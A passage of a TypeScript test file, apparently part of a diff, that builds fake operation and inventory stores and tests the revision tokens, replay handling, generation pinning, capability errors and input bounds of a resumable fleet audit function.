runRecord.progress.revision && + JSON.stringify(persisted) === JSON.stringify(runRecord) + ) { + return Promise.resolve(persisted); + } + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + + #validatedRows( + rows: readonly FleetOperationStagedRow[], + ): FleetOperationStagedRow[] { + return rows.map((row) => { + this.stagedRowCodecCalls += 1; + return fleetOperationStagedRowFromUnknown(row); + }); + } + + #finalizeOperation( + input: Parameters[0], + ): ReturnType { + const { + operationId, + expectedRevision, + runRecord, + expectedRowCounts, + requireAllItemsComplete, + } = input; + const current = this.operations.get(operationId); + if ( + current?.state !== 'running' || + current.progress.revision !== expectedRevision + ) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + for (const [rowKind, count] of Object.entries(expectedRowCounts)) { + const list = + this.rows.get( + this.#rowsKey(operationId, rowKind as FleetOperationRowKind), + ) ?? []; + if (list.length !== count) { + throw new Error( + `fleet operation '${operationId}' does not match its finalize counts`, + ); + } + } + if (requireAllItemsComplete) { + const items = this.rows.get(this.#rowsKey(operationId, 'item')) ?? []; + const complete = items.filter( + (row) => + (row.payload as Readonly<{ status?: string }>).status === 'complete', + ).length; + const itemCount = (runRecord.progress as Readonly<{ itemCount?: number }>) + .itemCount; + if (complete !== itemCount) { + throw new Error( + `fleet operation '${operationId}' does not match its finalize counts`, + ); + } + } + const finalized: FleetOperationRunRecord = { + ...runRecord, + terminalAtMs: Date.now(), + }; + this.operations.set(operationId, finalized); + if (this.heads.get(current.kind) === operationId) { + this.heads.delete(current.kind); + } + return Promise.resolve(finalized); + } + + #failOperation( + input: Parameters[0], + ): Promise { + const { operationId, expectedRevision, runRecord, updateRows = [] } = input; + const current = this.operations.get(operationId); + if ( + current?.state !== 'running' || + current.progress.revision !== expectedRevision + ) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + for (const row of updateRows) { + const key = this.#rowsKey(operationId, row.rowKind); + const list = this.rows.get(key) ?? []; + const index = list.findIndex( + (existing) => existing.ordinal === row.ordinal, + ); + if (index >= 0) list[index] = row; + } + const failed: FleetOperationRunRecord = { + ...runRecord, + terminalAtMs: Date.now(), + }; + this.operations.set(operationId, failed); + if (this.heads.get(current.kind) === operationId) { + this.heads.delete(current.kind); + } + return Promise.resolve(); + } +} + +// --------------------------------------------------------------------------- +// Shared drive helpers. +// --------------------------------------------------------------------------- + +interface Harness { + readonly operationStore: FakeOperationStore; + readonly inventoryStore: FakeInventoryRunStore; + readonly fleetStore: FakeFleetStateStore; + readonly backend: SimpleBackend; + readonly opsLog: string[]; + readonly liveByTenant: Map; + readonly specByTenant: Map; + readonly secretByTenant: Map; + baseOptions(action: FleetAuditAdvanceAction): AdvanceFleetAuditOptions; +} + +function generationReadCounts(store: FakeInventoryRunStore): Readonly<{ + latest: number; + finalized: number; + runByOperation: number; +}> { + return { + latest: store.latestFinalizedGenerationCalls, + finalized: store.readFinalizedGenerationCalls, + runByOperation: store.readRunByOperationCalls, + }; +} + +function expectZeroHarnessWork( + harness: Harness, + coordination: Readonly<{ + leaseCount: number; + readOperationByIdCalls: number; + generationReads: ReturnType; + }> = { + leaseCount: 0, + readOperationByIdCalls: 0, + generationReads: { latest: 0, finalized: 0, runByOperation: 0 }, + }, +): void { + expect(harness.operationStore.leaseCount).toBe(coordination.leaseCount); + expect(harness.operationStore.readOperationByIdCalls).toBe( + coordination.readOperationByIdCalls, + ); + expect(harness.operationStore.operations.size).toBe(0); + expect(harness.operationStore.rows.size).toBe(0); + expect(harness.operationStore.heads.size).toBe(0); + expect(harness.operationStore.intakeDigests.size).toBe(0); + expect(harness.operationStore.stagedRowCodecCalls).toBe(0); + expect(harness.opsLog).toEqual([]); + expect(harness.fleetStore.ops).toEqual([]); + expect(generationReadCounts(harness.inventoryStore)).toEqual( + coordination.generationReads, + ); + expect(harness.inventoryStore.pins).toEqual([]); + expect(harness.inventoryStore.releasedPins).toEqual([]); +} + +function buildHarness( + records: readonly FleetRecord[], + inventory: FleetResourceInventory, + overrides: Partial<{ + throwOnInspect: Set; + throwOnEnsureMaintenance: Set; + throwBackendFor: Set; + throwSpecFor: Set; + throwSecretFor: Set; + maxItemsPerCall: number; + auditClock: () => number; + authorityClock: () => number; + signal: AbortSignal; + }> = {}, +): Harness { + const operationStore = new FakeOperationStore(); + const inventoryStore = new FakeInventoryRunStore(); + inventoryStore.registerFinalizedGeneration(1, inventory); + const fleetStore = new FakeFleetStateStore(records); + const opsLog: string[] = []; + const liveByTenant = new Map(); + for (const record of records) { + liveByTenant.set(record.tenantTag, cleanLiveDeployment(record)); + } + const specByTenant = new Map( + records.map((record) => [record.tenantTag, specForRecord(record)]), + ); + const secretByTenant = new Map( + records.map((record) => [ + record.tenantTag, + `maintenance-secret-${record.tenantTag}`, + ]), + ); + const backend = new SimpleBackend( + liveByTenant, + opsLog, + overrides.throwOnInspect, + overrides.throwOnEnsureMaintenance, + ); + return { + operationStore, + inventoryStore, + fleetStore, + backend, + opsLog, + liveByTenant, + specByTenant, + secretByTenant, + baseOptions(action: FleetAuditAdvanceAction): AdvanceFleetAuditOptions { + return { + operationStore, + inventoryStore, + fleetStore, + action, + ...(overrides.maxItemsPerCall === undefined + ? {} + : { maxItemsPerCall: overrides.maxItemsPerCall }), + ...(overrides.auditClock === undefined + ? {} + : { auditClock: overrides.auditClock }), + ...(overrides.authorityClock === undefined + ? {} + : { authorityClock: overrides.authorityClock }), + ...(overrides.signal === undefined ? {} : { signal: overrides.signal }), + backendFor: (record) => { + opsLog.push('resolver:backendFor'); + if (overrides.throwBackendFor?.has(record.tenantTag)) { + throw new Error('backend resolver blew up'); + } + return backend; + }, + specFor: (record) => { + opsLog.push('resolver:specFor'); + if (overrides.throwSpecFor?.has(record.tenantTag)) { + throw new Error('spec resolver blew up'); + } + const spec = specByTenant.get(record.tenantTag); + if (!spec) + throw new Error(`no spec fixture for '${record.tenantTag}'`); + return spec; + }, + maintenanceSecretFor: (record) => { + opsLog.push('resolver:maintenanceSecretFor'); + if (overrides.throwSecretFor?.has(record.tenantTag)) { + throw new Error('secret resolver blew up'); + } + return secretByTenant.get(record.tenantTag) as string; + }, + }; + }, + }; +} + +/** Drives `advanceFleetAudit` with `continue` until the status is not 'pending'. */ +async function driveToTerminal( + harness: Harness, + firstToken: unknown, + cap = 200, +): Promise { + let token = firstToken; + for (let i = 0; i < cap; i++) { + const result = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + if (result.status !== 'pending') return result; + token = result.token; + } + throw new Error('driveToTerminal exceeded its iteration cap'); +} + +async function startAndDrive( + harness: Harness, + operationId: string, + records: readonly FleetRecord[], + staleAfterMs = STALE_AFTER_MS, +): Promise { + const started = await advanceFleetAudit( + harness.baseOptions({ kind: 'start', operationId, records, staleAfterMs }), + ); + if (started.status !== 'pending') return started; + return driveToTerminal(harness, started.token); +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +describe('advanceFleetAudit', () => { + it('start creates the operation THEN pins; freezes auditTimeMs/staleAfterMs', async () => { + const alice = baseRecord('alice'); + let auditClockCalls = 0; + const harness = buildHarness([alice], inventoryFor([alice]), { + auditClock: () => { + auditClockCalls += 1; + return AUDIT_NOW; + }, + }); + const events: string[] = []; + const originalStart = harness.operationStore.withAccountOperationLease.bind( + harness.operationStore, + ); + // Instrument: record when the row exists (created) vs when the pin lands. + const originalPinGeneration = harness.inventoryStore.pinGeneration.bind( + harness.inventoryStore, + ); + harness.inventoryStore.pinGeneration = async (input) => { + events.push( + harness.operationStore.operations.has(uuidFor(1)) + ? 'operation-row-present-at-pin' + : 'operation-row-absent-at-pin', + ); + return originalPinGeneration(input); + }; + void originalStart; + const operationId = uuidFor(1); + const result = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(result.status).toBe('pending'); + expect(auditClockCalls).toBe(1); + expect(events).toEqual(['operation-row-present-at-pin']); + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(persisted).toBeDefined(); + const progress = persisted?.progress as FleetAuditProgress; + expect(progress.auditTimeMs).toBe(AUDIT_NOW); + expect(progress.staleAfterMs).toBe(STALE_AFTER_MS); + if (result.status !== 'pending') throw new Error('unreachable'); + const terminal = await driveToTerminal(harness, result.token); + expect(terminal.status).toBe('complete'); + expect(auditClockCalls).toBe(1); + }); + + it('a record aging past staleAfterMs mid-operation still audits fresh', async () => { + const alice = baseRecord('alice', { + updatedAt: new Date(AUDIT_NOW - 30 * 60_000).toISOString(), + phase: 'worker-deployed', + }); + let clock = AUDIT_NOW; + const harness = buildHarness([alice], inventoryFor([alice]), { + auditClock: () => clock, + authorityClock: () => clock, + }); + const operationId = uuidFor(2); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + // Real time moves far past staleAfterMs before the per-record stage runs. + clock = AUDIT_NOW + 10 * STALE_AFTER_MS; + const result = await driveToTerminal( + harness, + started.status === 'pending' ? started.token : undefined, + ); + expect(result.status).toBe('complete'); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + expect( + page.findings.some( + (finding) => finding.kind === 'incomplete-provisioning', + ), + ).toBe(false); + }); + + it('start replay converges, re-pins, and stages no duplicate rows — and NEVER calls latestFinalizedGeneration', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(3); + const action: FleetAuditAdvanceAction = { + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }; + const first = await advanceFleetAudit(harness.baseOptions(action)); + expect(first.status).toBe('pending'); + expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1); + const rowCountBefore = harness.operationStore.rows.get( + `${operationId}:record`, + )?.length; + const second = await advanceFleetAudit(harness.baseOptions(action)); + expect(second.status).toBe('pending'); + if (first.status === 'pending' && second.status === 'pending') { + expect(second.token).toEqual(first.token); + expect(second.stage).toEqual(first.stage); + } + expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1); + expect( + harness.operationStore.rows.get(`${operationId}:record`)?.length, + ).toBe(rowCountBefore); + expect( + harness.inventoryStore.pins.filter( + (pin) => pin.pinnedBy === `fleet-audit:${operationId}`, + ).length, + ).toBe(2); + + if (second.status !== 'pending') throw new Error('unreachable'); + const continuedOnce = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: second.token }), + ); + expect(continuedOnce.status).toBe('pending'); + if (continuedOnce.status !== 'pending') throw new Error('unreachable'); + const continuedTwice = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: continuedOnce.token }), + ); + expect(continuedTwice.status).toBe('pending'); + if (continuedTwice.status !== 'pending') throw new Error('unreachable'); + expect(continuedTwice.token).not.toEqual(first.token); + const rowCountsBeforeAdvancedReplay = new Map( + [...harness.operationStore.rows].map(([key, rows]) => [key, rows.length]), + ); + const latestCallsBeforeAdvancedReplay = + harness.inventoryStore.latestFinalizedGenerationCalls; + const replayPastRevisionOne = await advanceFleetAudit( + harness.baseOptions(action), + ); + expect(replayPastRevisionOne.status).toBe('pending'); + if (replayPastRevisionOne.status !== 'pending') + throw new Error('unreachable'); + expect(replayPastRevisionOne.token).toEqual(continuedTwice.token); + expect(replayPastRevisionOne.stage).toEqual(continuedTwice.stage); + expect( + new Map( + [...harness.operationStore.rows].map(([key, rows]) => [ + key, + rows.length, + ]), + ), + ).toEqual(rowCountsBeforeAdvancedReplay); + expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe( + latestCallsBeforeAdvancedReplay, + ); + + // Replay against a TERMINAL operation. + const finalResult = await driveToTerminal( + harness, + replayPastRevisionOne.token, + ); + expect(finalResult.status).toBe('complete'); + const pinsBeforeTerminalReplay = harness.inventoryStore.pins.length; + const rowCountsBeforeTerminalReplay = new Map( + [...harness.operationStore.rows].map(([key, rows]) => [key, rows.length]), + ); + const replayAfterTerminal = await advanceFleetAudit( + harness.baseOptions(action), + ); + expect(replayAfterTerminal).toStrictEqual(finalResult); + expect(harness.inventoryStore.pins).toHaveLength(pinsBeforeTerminalReplay); + expect( + new Map( + [...harness.operationStore.rows].map(([key, rows]) => [ + key, + rows.length, + ]), + ), + ).toEqual(rowCountsBeforeTerminalReplay); + expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1); + + const crossKindOperationId = uuidFor(52); + harness.operationStore.operations.set(crossKindOperationId, { + version: 1, + operationId: crossKindOperationId, + kind: 'migration', + state: 'running', + progress: { + kind: 'migration', + revision: 0, + } as unknown as FleetOperationRunRecord['progress'], + updatedAt: new Date(AUDIT_NOW).toISOString(), + }); + harness.operationStore.heads.set('migration', crossKindOperationId); + const latestCallsBeforeCrossKind = + harness.inventoryStore.latestFinalizedGenerationCalls; + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: crossKindOperationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + `fleet operation '${crossKindOperationId}' belongs to the other operation kind`, + ); + expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe( + latestCallsBeforeCrossKind, + ); + expect( + harness.inventoryStore.pins.some( + (pin) => pin.pinnedBy === `fleet-audit:${crossKindOperationId}`, + ), + ).toBe(false); + expect( + harness.operationStore.rows.get(`${crossKindOperationId}:record`) ?? [], + ).toEqual([]); + }); + + it('an implicit-generation replay re-pins the PERSISTED generation even after generation N+1 finalizes; two different EXPLICIT-generation starts under one operationId conflict', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(4); + const implicit: FleetAuditAdvanceAction = { + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }; + const first = await advanceFleetAudit(harness.baseOptions(implicit)); + expect(first.status).toBe('pending'); + const persisted1 = + await harness.operationStore.readOperationById(operationId); + const generation1 = (persisted1?.progress as FleetAuditProgress).generation; + expect(generation1).toBe(1); + + // A newer generation finalizes. + harness.inventoryStore.registerFinalizedGeneration( + 2, + inventoryFor([alice]), + ); + expect(harness.inventoryStore.latestGeneration).toBe(2); + + const pinsBeforeReplay = harness.inventoryStore.pins.length; + const replay = await advanceFleetAudit(harness.baseOptions(implicit)); + expect(replay.status).toBe('pending'); + const persisted2 = + await harness.operationStore.readOperationById(operationId); + expect((persisted2?.progress as FleetAuditProgress).generation).toBe(1); + expect(harness.inventoryStore.pins.slice(pinsBeforeReplay)).toEqual([ + { generation: 1, pinnedBy: `fleet-audit:${operationId}` }, + ]); + + // Two DIFFERENT explicit-generation starts under one operationId conflict. + // A fresh harness keeps this independent of the still-running operation above. + const otherHarness = buildHarness([alice], inventoryFor([alice])); + const otherId = uuidFor(5); + const explicit1: FleetAuditAdvanceAction = { + kind: 'start', + operationId: otherId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + generation: 1, + }; + const explicit2: FleetAuditAdvanceAction = { + ...explicit1, + generation: 2, + }; + await advanceFleetAudit(otherHarness.baseOptions(explicit1)); + await expect( + advanceFleetAudit(otherHarness.baseOptions(explicit2)), + ).rejects.toThrow( + `fleet operation '${otherId}' already exists with a different intake`, + ); + }); + + it('start intake-digest mismatch conflict', async () => { + const alice = baseRecord('alice'); + const bob = baseRecord('bob'); + const harness = buildHarness([alice, bob], inventoryFor([alice, bob])); + const operationId = uuidFor(6); + await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice, bob], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + `fleet operation '${operationId}' already exists with a different intake`, + ); + }); + + it('start contention under a foreign active audit', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(7), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(8), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'another fleet audit operation is active for this account', + ); + }); + + it('stale token → authoritative pending/complete/failed with zero resolver/generation/provider work', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(9); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + const oldToken = started.token; + // Advance once more so `oldToken` is now stale. + const advanced = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: oldToken }), + ); + expect(advanced.status).toBe('pending'); + if (advanced.status !== 'pending') throw new Error('unreachable'); + + const opsBefore = harness.opsLog.length; + const readsBeforePending = generationReadCounts(harness.inventoryStore); + const staleResult = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: oldToken }), + ); + expect(staleResult.status).toBe('pending'); + if (staleResult.status === 'pending') { + expect(staleResult.token).toEqual(advanced.token); + } + expect(harness.opsLog.length).toBe(opsBefore); + expect(generationReadCounts(harness.inventoryStore)).toEqual( + readsBeforePending, + ); + + const completed = await driveToTerminal(harness, advanced.token); + expect(completed.status).toBe('complete'); + const opsBeforeStaleComplete = harness.opsLog.length; + const readsBeforeComplete = generationReadCounts(harness.inventoryStore); + const staleAgainstComplete = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: oldToken }), + ); + expect(staleAgainstComplete).toStrictEqual(completed); + expect(harness.opsLog.length).toBe(opsBeforeStaleComplete); + expect(generationReadCounts(harness.inventoryStore)).toEqual( + readsBeforeComplete, + ); + + // Drive to a failed operation and re-poll with a stale token against it. + const failingHarness = buildHarness([alice], inventoryFor([alice])); + const failOperationId = uuidFor(10); + const failStart = await advanceFleetAudit( + failingHarness.baseOptions({ + kind: 'start', + operationId: failOperationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(failStart.status).toBe('pending'); + if (failStart.status !== 'pending') throw new Error('unreachable'); + const staleFailToken = failStart.token; + failingHarness.inventoryStore.unreadableGenerations.add(1); + const failed = await driveToTerminal(failingHarness, failStart.token); + expect(failed.status).toBe('failed'); + const opsBeforeStaleFailed = failingHarness.opsLog.length; + const readsBeforeFailed = generationReadCounts( + failingHarness.inventoryStore, + ); + const staleAgainstFailed = await advanceFleetAudit( + failingHarness.baseOptions({ kind: 'continue', token: staleFailToken }), + ); + expect(staleAgainstFailed.status).toBe('failed'); + expect(failingHarness.opsLog.length).toBe(opsBeforeStaleFailed); + expect(generationReadCounts(failingHarness.inventoryStore)).toEqual( + readsBeforeFailed, + ); + }); + + it('future token error', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(11); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + const futureToken = { + ...started.token, + revision: started.token.revision + 50, + }; + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: futureToken }), + ), + ).rejects.toBeInstanceOf(FleetOperationTokenFutureError); + }); + + it("a migration operation's token → kind error before any resolver work", async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const migrationOperationId = uuidFor(12); + harness.operationStore.operations.set(migrationOperationId, { + version: 1, + operationId: migrationOperationId, + kind: 'migration', + state: 'running', + progress: { + kind: 'migration', + revision: 0, + } as unknown as FleetOperationRunRecord['progress'], + updatedAt: new Date(AUDIT_NOW).toISOString(), + }); + harness.operationStore.heads.set('migration', migrationOperationId); + const opsBefore = harness.opsLog.length; + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'continue', + token: { version: 1, operationId: migrationOperationId, revision: 0 }, + }), + ), + ).rejects.toBeInstanceOf(FleetOperationTokenKindError); + expect(harness.opsLog.length).toBe(opsBefore); + }); + + it('absent-operation adjudication', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'continue', + token: { version: 1, operationId: uuidFor(13), revision: 0 }, + }), + ), + ).rejects.toBeInstanceOf(FleetOperationTokenOperationError); + }); + + it("'operation-store' capability error with zero work", async () => { + const alice = baseRecord('alice'); + for (const member of [ + 'withAccountOperationLease', + 'readOperationById', + 'readOperationRowsPage', + ] as const) { + const harness = buildHarness([alice], inventoryFor([alice])); + const options = harness.baseOptions({ + kind: 'start', + operationId: uuidFor(14), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }); + const broken = { + ...options, + operationStore: withoutMethod(harness.operationStore, member), + }; + await expect(advanceFleetAudit(broken)).rejects.toBeInstanceOf( + FleetAuditAdvanceCapabilityError, + ); + await expect(advanceFleetAudit(broken)).rejects.toThrow( + 'fleet audit advance requires an operation store', + ); + expectZeroHarnessWork(harness); + } + }); + + it("'generation-read' capability error with zero work", async () => { + const alice = baseRecord('alice'); + for (const member of [ + 'readFinalizedGeneration', + 'readRunByOperation', + ] as const) { + const harness = buildHarness([alice], inventoryFor([alice])); + const options = harness.baseOptions({ + kind: 'start', + operationId: uuidFor(15), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }); + const broken = { + ...options, + inventoryStore: withoutMethod(harness.inventoryStore, member), + }; + await expect(advanceFleetAudit(broken)).rejects.toThrow( + 'fleet audit advance requires an inventory store that can read finalized generations', + ); + expectZeroHarnessWork(harness); + } + }); + + it("'generation-pin' capability error with zero work", async () => { + const alice = baseRecord('alice'); + for (const member of ['pinGeneration', 'releasePin'] as const) { + const harness = buildHarness([alice], inventoryFor([alice])); + const options = harness.baseOptions({ + kind: 'start', + operationId: uuidFor(16), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }); + const broken = { + ...options, + inventoryStore: withoutMethod(harness.inventoryStore, member), + }; + await expect(advanceFleetAudit(broken)).rejects.toThrow( + 'fleet audit advance requires an inventory store that can pin finalized generations', + ); + expectZeroHarnessWork(harness); + } + }); + + it('the legacy staleAfterMs refusal message', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(17), + records: [alice], + staleAfterMs: 0, + }), + ), + ).rejects.toThrow('staleAfterMs must be a positive safe integer'); + }); + + it('item-bound refusal at 10,001', async () => { + const many = Array.from({ length: 10_001 }, (_, i) => + baseRecord(`tenant${i}`), + ); + const harness = buildHarness([], emptyInventory()); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(18), + records: many, + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow(/at most 10000 records/); + }); + + it('intake byte-bound refusal at start', async () => { + const padding = Object.fromEntries( + Array.from({ length: 21 }, (_, i) => [`padding${i}`, 'x'.repeat(4_000)]), + ); + const many = Array.from({ length: 200 }, (_, i) => + Object.assign(baseRecord(`tenant${i}`), { padding }), + ); + // This fixture is ASCII, so string lengths equal UTF-8 byte lengths. + const serializedLengths = many.map( + (record) => JSON.stringify(record).length, + ); + expect( + serializedLengths.reduce((sum, length) => sum + length, 0), + ).toBeGreaterThan(FLEET_OPERATION_INTAKE_BYTE_BOUND); + expect(Math.max(...serializedLengths)).toBeLessThan( + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + ); + const harness = buildHarness([], emptyInventory()); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(19), + records: many, + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow( + 'fleet audit start canonical intake exceeds the intake byte bound', + ); + }, 20_000); + + it("'operationId' validation refusal at start", async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + await expect( + advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: 'not-a-uuid', + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow('fleet operation state is malformed'); + }); + + it('the per-record chunk performs exactly one inspect + at most one re-arm (instrumented)', async () => { + const alice = baseRecord('alice'); + const bob = baseRecord('bob'); + const harness = buildHarness([alice, bob], inventoryFor([alice, bob]), { + auditClock: () => AUDIT_NOW, + }); + harness.liveByTenant.set( + 'alice', + cleanLiveDeployment(alice, { maintenance: UNARMED_MAINTENANCE }), + ); + const operationId = uuidFor(20); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice, bob], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + let token = started.token; + let stage: FleetAuditStage = started.stage; + while (stage.step !== 'per-record') { + const result = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + if (result.status !== 'pending') throw new Error('unexpected terminal'); + token = result.token; + stage = result.stage; + } + for (const [tenant, expectedRearmCalls] of [ + ['alice', 1], + ['bob', 0], + ] as const) { + const opsBefore = harness.opsLog.length; + const result = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + if (result.status !== 'pending') throw new Error('unexpected terminal'); + token = result.token; + const callOps = harness.opsLog.slice(opsBefore); + expect(callOps.filter((op) => op === 'resolver:backendFor')).toHaveLength( + 1, + ); + expect(callOps.filter((op) => op === 'resolver:specFor')).toHaveLength(1); + expect( + callOps.filter((op) => op === 'resolver:maintenanceSecretFor'), + ).toHaveLength(1); + expect(callOps.filter((op) => op.startsWith('inspect:'))).toEqual([ + `inspect:${tenant}`, + ]); + expect(callOps.filter((op) => op === 'ensureMaintenance')).toHaveLength( + expectedRearmCalls, + ); + } + }); + + it('two-clock proof: staleness uses frozen auditTimeMs; a first-time authorizedAt uses the call-time authorityClock', async () => { + const stale = baseRecord('stalemaint', { + updatedAt: FRESH_UPDATED_AT, + phase: 'worker-deployed', + }); + const authority = baseRecord('authorityclock'); + const inventory = inventoryFor([stale, authority]); + const laterClock = AUDIT_NOW + 5 * STALE_AFTER_MS; + let clock = AUDIT_NOW; + let authorityClockCalls = 0; + const harness = buildHarness([stale, authority], inventory, { + auditClock: () => AUDIT_NOW, + authorityClock: () => { + authorityClockCalls += 1; + return clock; + }, + }); + harness.liveByTenant.set( + 'authorityclock', + cleanLiveDeployment(authority, { maintenance: UNARMED_MAINTENANCE }), + ); + const operationId = uuidFor(21); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [stale, authority], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + expect(authorityClockCalls).toBe(0); + clock = laterClock; + let token = started.token; + let stage = started.stage; + while (stage.step !== 'per-record') { + const advanced = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + expect(authorityClockCalls).toBe(0); + if (advanced.status !== 'pending') throw new Error('unexpected terminal'); + token = advanced.token; + stage = advanced.stage; + } + const staleRecord = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + expect(authorityClockCalls).toBe(0); + if (staleRecord.status !== 'pending') + throw new Error('unexpected terminal'); + const authorityRecord = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: staleRecord.token }), + ); + expect(authorityClockCalls).toBe(1); + if (authorityRecord.status !== 'pending') + throw new Error('unexpected terminal'); + await driveToTerminal(harness, authorityRecord.token); + expect(authorityClockCalls).toBe(1); + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(fleetAuditProgressFromUnknown(persisted?.progress).auditTimeMs).toBe( + AUDIT_NOW, + ); + const putRecord = harness.fleetStore.records.get( + 'authorityclock:production', + ); + expect(putRecord?.invocationAuthority?.authorizedAt).toBe( + new Date(laterClock).toISOString(), + ); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + expect( + page.findings.some( + (finding) => finding.kind === 'incomplete-provisioning', + ), + ).toBe(false); + + // Default Date.now proven by omission. + const defaultHarness = buildHarness([authority], inventoryFor([authority])); + defaultHarness.liveByTenant.set( + 'authorityclock', + cleanLiveDeployment(authority, { maintenance: UNARMED_MAINTENANCE }), + ); + const before = Date.now(); + await startAndDrive(defaultHarness, uuidFor(22), [authority]); + const after = Date.now(); + const authorizedAt = Date.parse( + defaultHarness.fleetStore.records.get('authorityclock:production') + ?.invocationAuthority?.authorizedAt ?? '', + ); + expect(authorizedAt).toBeGreaterThanOrEqual(before); + expect(authorizedAt).toBeLessThanOrEqual(after); + }); + + it('a database owner inspected in call N yields duplicate-database in call N+k', async () => { + const shared = 'db-shared-owner'; + const first = baseRecord('dbowner1', { databaseId: shared }); + const second = baseRecord('dbowner2', { databaseId: shared }); + const inventory = inventoryFor([first, second]); + const harness = buildHarness([first, second], inventory); + harness.liveByTenant.set( + 'dbowner1', + cleanLiveDeployment(first, { databaseId: shared }), + ); + harness.liveByTenant.set( + 'dbowner2', + cleanLiveDeployment(second, { databaseId: shared }), + ); + const operationId = uuidFor(23); + await startAndDrive(harness, operationId, [first, second]); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + expect( + page.findings.some((finding) => finding.kind === 'duplicate-database'), + ).toBe(true); + }); + + it('namespace owner facts + duplicate suppression across calls', async () => { + const shared = 'ns-shared-live'; + const first = 